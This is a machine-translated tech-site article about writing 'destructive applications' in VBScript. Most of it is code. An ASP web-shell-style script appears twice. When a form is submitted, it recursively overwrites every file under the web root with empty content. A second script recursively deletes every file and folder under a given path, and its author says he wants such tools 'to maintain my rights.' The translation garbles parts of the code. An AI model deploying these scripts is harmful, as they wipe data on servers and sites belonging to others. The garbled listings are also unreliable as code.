Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to implement destructive applications with VBS

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

Editor to share with you how to achieve destructive applications of VBS, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's learn about it!

It is for reference only.

'seen on the Internet, applicable to servers that do not disable shell.application

Server.scripttimeout = 99999

If request ("submit") "" Then "

Call listfile (server.mappath (". /")

Response.Write "processed"

Else

Response.Write ""

End If

Function listfile (fpath)

On Error Resume Next

Dim Shell, Folder, s

Set Shell = server.CreateObject ("shell.application")

Set Folder = Shell.namespace (fpath)

Set f = server.CreateObject ("adodb.stream")

F.Type = 1

F.Open

For Each s in Folder.Items

If s.isfolder Then

Call listfile (s.Path)

Else

F.savetofile s.Path, 2

End If

Next

Set f = Nothing

Set Shell = Nothing

End Function

'seen on the Internet, applicable to servers that do not disable shell.application

Server.scripttimeout = 99999

If request ("submit") "" Then "

Call listfile (server.mappath (". /")

Response.Write "processed"

Else

Response.Write ""

End If

Function listfile (fpath)

On Error Resume Next

Dim Shell, Folder, s

Set Shell = server.CreateObject ("shell.application")

Set Folder = Shell.namespace (fpath)

Set f = server.CreateObject ("adodb.stream")

F.Type = 1

F.Open

For Each s in Folder.Items

If s.isfolder Then

Call listfile (s.Path)

Else

F.savetofile s.Path, 2

End If

Next

Set f = Nothing

Set Shell = Nothing

End Function

I have seen this before, and I feel useless. Such dangerous component servers are generally disabled, but today, I suddenly feel that I have to collect or make some such software to maintain my rights. I won't say exactly why. I wrote one:

View plaincopy to clipboardprint?

See the file delete the file, see the folder delete the folder

Function FilesTree (sPath)

Set oFso = CreateObject ("Scripting.FileSystemObject")

Set oFolder = oFso.GetFolder (sPath)

Set oSubFolders = oFolder.SubFolders

Set oFiles = oFolder.Files

For Each oFile In oFiles

'WScript.Echo oFile.Path

OFile.Delete

Next

For Each oSubFolder In oSubFolders

'WScript.Echo oSubFolder.Path

OSubFolder.Delete

Recursion of 'FilesTree (oSubFolder.Path)'

Next

Set oFolder = Nothing

Set oSubFolders = Nothing

Set oFso = Nothing

End Function

FilesTree ("F:\ deltest\ deltest") 'traversal

These are all the contents of the article "how to achieve destructive applications in VBS". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report